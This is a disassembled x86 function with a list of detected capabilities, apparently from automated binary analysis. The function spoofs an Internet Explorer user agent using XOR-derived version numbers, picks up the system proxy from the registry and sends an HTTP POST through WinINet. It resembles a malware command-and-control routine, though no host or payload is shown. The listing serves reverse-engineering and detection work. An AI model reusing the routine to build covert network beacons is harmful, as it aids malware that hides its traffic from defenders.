Function at 0x401d40
Capabilities:
Connect to http server
Create http request
Create thread
Parse url
Read data from internet
Receive data
Send data
Send http request
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ec
push edi
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x9e4], 0
push 6
mov eax, dword [0x50be40]
xor eax, 0x3e7
push eax
push 0xd
mov ecx, dword [0x50be40]
xor ecx, 0x378
push ecx
mov edx, dword [0x40b520]
push edx
mov eax, dword [0x50be40]
xor eax, 0x309
push eax
push str.Mozilla__d._d__compatible__MSIE__d._d__Windows_NT__d._d_
lea ecx, [ebp - 0x9a0]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x20
call fcn.00401a30
mov dword [ebp - 0x59c], 0
lea edx, [ebp - 0x488]
push edx
push str.ProxyEnable
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push reloc.WS2_32.dll_accept
call fcn.00401ab0
add esp, 0x10
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 0
je 0x401e0c
push 0
push 0
push str.ProxyServer
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push reloc.WS2_32.dll_accept
call fcn.00401b10
add esp, 0x14
push eax
push 0x4050d0
lea eax, [ebp - 0x598]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x9e0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x9e0], 0x3c
mov dword [ebp - 0x9d0], 0
mov dword [ebp - 0x9c4], 0
mov dword [ebp - 0x9bc], 0
mov dword [ebp - 0x9b4], 0
mov dword [ebp - 0x9ac], 0
mov dword [ebp - 0x9d8], 1
mov dword [ebp - 0x9cc], 1
mov dword [ebp - 0x9c0], 1
mov dword [ebp - 0x9b8], 1
mov dword [ebp - 0x9b0], 1
mov dword [ebp - 0x9a8], 1
lea ecx, [ebp - 0x9e0]
push ecx
push 0
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x401ec1
xor eax, eax
jmp 0x402299
mov eax, dword [ebp - 0x9c8]
and eax, 0xffff
mov dword [ebp - 0x9e8], eax
mov ecx, dword [ebp - 0x9cc]
push ecx
mov edx, dword [ebp - 0x9d0]
push edx
lea eax, [ebp - 0x484]
push eax
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov ecx, dword [ebp - 0x9cc]
mov byte [ebp + ecx - 0x484], 0
mov edx, dword [ebp - 0x9b0]
push edx
mov eax, dword [ebp - 0x9b4]
push eax
lea ecx, [ebp - 0x400]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp - 0x9b0]
mov byte [ebp + edx - 0x400], 0
cmp dword [0x409d30], 0
je 0x401f6b
mov eax, dword [0x409d30]
movsx ecx, byte [eax]
test ecx, ecx
je 0x401f6b
mov edx, dword [0x409d30]
push edx
push str._alt_s
lea edi, [ebp - 0x400]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
lea eax, [ebp + ecx - 0x400]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push str.127.0.0.1
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x401fae
cmp dword [ebp - 0x59c], 0
je 0x401fae
push 0
push str._local_
lea edx, [ebp - 0x598]
push edx
push 3
lea eax, [ebp - 0x9a0]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x9a4], eax
jmp 0x401fc9
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x9a0]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x9a4], eax
cmp dword [ebp - 0x9a4], 0
jne 0x401fd9
xor eax, eax
jmp 0x402299
mov dword [ebp - 0x48c], 0xea60
push 4
lea edx, [ebp - 0x48c]
push edx
push 2
mov eax, dword [ebp - 0x9a4]
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [ebp - 0x48c], 0xea60
push 4
lea ecx, [ebp - 0x48c]
push ecx
push 6
mov edx, dword [ebp - 0x9a4]
push edx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [ebp - 0x48c], 0xea60
push 4
lea eax, [ebp - 0x48c]
push eax
push 5
mov ecx, dword [ebp - 0x9a4]
push ecx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
lea edx, [ebp - 0x490]
push edx
push 0
mov eax, dword [ebp - 0x9a4]
push eax
push 0x4022a0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x404], eax
push 0
push 0
push 3
push 0x409d34
push 0x409d34
mov cx, word [ebp - 0x9e8]
push ecx
lea edx, [ebp - 0x484]
push edx
mov eax, dword [ebp - 0x9a4]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0
jne 0x4020d8
mov ecx, dword [ebp - 0x9a4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x404], 0
je 0x4020d1
push 0
mov edx, dword [ebp - 0x404]
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x402299
push 0
push 0x4000000
push 0
push 0
push str.HTTP_1.0
lea ecx, [ebp - 0x400]
push ecx
push str.POST
mov edx, dword [ebp - 0x5a0]
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0
jne 0x402156
mov eax, dword [ebp - 0x5a0]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x9a4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x404], 0
je 0x40214f
push 0
mov edx, dword [ebp - 0x404]
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x402299
mov ecx, dword [ebp + 0x28]
push ecx
mov edx, dword [ebp + 0x24]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x498]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x4021d5
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x5a0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x9a4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x404], 0
je 0x4021ce
push 0
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, dword [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x402299
cmp dword [ebp + 0xc], 0
je 0x402247
mov edx, 1
test edx, edx
je 0x40223b
mov dword [ebp - 0x9ec], 0
lea eax, [ebp - 0x9ec]
push eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x9e4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x9e4]
push edx
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40221c
jmp 0x40223b
cmp dword [ebp - 0x9ec], 0
jne 0x402227
jmp 0x40223b
mov ecx, dword [ebp - 0x9e4]
add ecx, dword [ebp - 0x9ec]
mov dword [ebp - 0x9e4], ecx
jmp 0x4021db
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x9e4]
mov byte [edx], 0
cmp dword [ebp - 0x404], 0
je 0x40226c
push 0
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, dword [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x498]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x5a0]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x9a4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x9e4]
pop edi
mov esp, ebp
pop ebp
ret